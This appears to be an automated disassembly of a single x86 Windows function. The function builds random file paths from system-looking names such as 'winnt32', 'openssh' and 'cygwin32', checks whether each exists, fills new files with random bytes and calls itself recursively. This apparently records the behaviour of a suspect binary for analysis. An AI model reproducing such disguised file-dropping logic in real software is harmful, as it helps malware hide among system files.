Function at 0x408030
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeac
mov eax, dword [0x441480]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
push edi
push ebx
mov dword [ebp - 0x110], esi
call fcn.00420c76
cdq
mov ecx, 0xa
idiv ecx
or edx, edx
jle 0x4082f6
lea esi, [esi]
mov dword [ebp - 0x10c], edx
mov dword [ebp - 0x150], 0x43dd28
mov dword [ebp - 0x14c], str.msys
mov dword [ebp - 0x148], str.mdata
mov dword [ebp - 0x144], str.lust
mov dword [ebp - 0x140], str.icxml
mov dword [ebp - 0x13c], str.ntw32
mov dword [ebp - 0x138], str.aeinv
mov dword [ebp - 0x134], str.apds
mov dword [ebp - 0x130], str.nthserv
mov dword [ebp - 0x12c], str.teln32
mov dword [ebp - 0x128], str.openssh
mov dword [ebp - 0x124], str.srv_x86
mov dword [ebp - 0x120], str.socket_x86
mov dword [ebp - 0x11c], str.nt32
mov dword [ebp - 0x118], str.winnt32
mov dword [ebp - 0x114], str.cygwin32
call fcn.00420c76
lea ecx, [ebp - 0x108]
and eax, 0xf
mov eax, dword [ebp + eax*4 - 0x150]
sub ecx, eax
mov dl, byte [eax]
mov byte [ecx + eax], dl
inc eax
or dl, dl
jne 0x408127
call fcn.00420c76
and eax, 0x80000001
jns 0x408142
dec eax
or eax, 0xfffffffe
inc eax
lea edi, [ebp - 0x108]
je 0x4081ce
lea edx, [edi + 1]
mov cl, byte [edi]
inc edi
test cl, cl
jne 0x408151
mov eax, esi
sub edi, edx
mov edx, edi
lea edi, [eax + 1]
mov cl, byte [eax]
inc eax
or cl, cl
jne 0x408161
sub eax, edi
lea edx, [edx + eax + 0x20]
push edx
call fcn.0041ff97
add esp, 4
mov ebx, eax
lea eax, [ebp - 0x108]
push eax
push esi
push 0x43c26c
push ebx
call fcn.00420bd5
add esp, 0x10
push ebx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
or eax, eax
jne 0x4082e1
mov edi, dword [ebp + 0xc]
cmp edi, 1
jge 0x4082e1
push ebx
call fcn.004232df
lea eax, [edi + 1]
sub esp, 0xfffffffc
cmp eax, 1
jg 0x4082e1
push eax
push ebx
call fcn.00408030
add esp, 8
jmp 0x4082e1
mov dword [ebp - 0x130], 0x43ddac
mov dword [ebp - 0x12c], 0x43ddb0
mov dword [ebp - 0x128], 0x43ddb4
mov dword [ebp - 0x124], 0x43ddb8
mov dword [ebp - 0x120], 0x43ddbc
mov dword [ebp - 0x11c], 0x43ddc0
mov dword [ebp - 0x118], 0x43ddc4
mov dword [ebp - 0x114], 0x43ddc8
lea ecx, [edi + 1]
mov dl, byte [edi]
inc edi
or dl, dl
jne 0x408221
sub edi, ecx
mov eax, esi
mov edx, edi
lea ebx, [eax + 1]
mov cl, byte [eax]
inc eax
or cl, cl
jne 0x408231
sub eax, ebx
lea ecx, [edx + eax + 0x20]
push ecx
call fcn.0041ff97
mov ebx, eax
add esp, 4
call fcn.00420c76
and eax, 7
mov edx, dword [ebp + eax*4 - 0x130]
lea eax, [ebp - 0x108]
push edx
push eax
push esi
push str._s_s._s
push ebx
call fcn.00420bd5
sub esp, 0xffffffec
push ebx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
or eax, eax
jne 0x4082e1
push 0x43daa4
push ebx
call fcn.00421d73
add esp, 8
mov edi, eax
or edi, edi
je 0x4082e1
call fcn.00420c76
cdq
mov ecx, 0xa
idiv ecx
shl edx, 0xa
test edx, edx
jle 0x4082cf
mov esi, edx
call fcn.00420c76
and eax, 0x800000ff
jns 0x4082b7
dec eax
or eax, 0xffffff00
inc eax
push eax
push 0x43ddd8
push edi
call fcn.00423311
add esp, 0xc
dec esi
jne 0x4082a4
mov esi, dword [ebp - 0x110]
push edi
call fcn.004226f5
sub esp, 0xfffffffc
push ebx
call fcn.00401fe0
add esp, 4
push ebx
call fcn.00420c59
sub esp, 0xfffffffc
dec dword [ebp - 0x10c]
jne 0x408070
pop ebx
pop edi
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
call fcn.00420bc6
mov esp, ebp
pop ebp
ret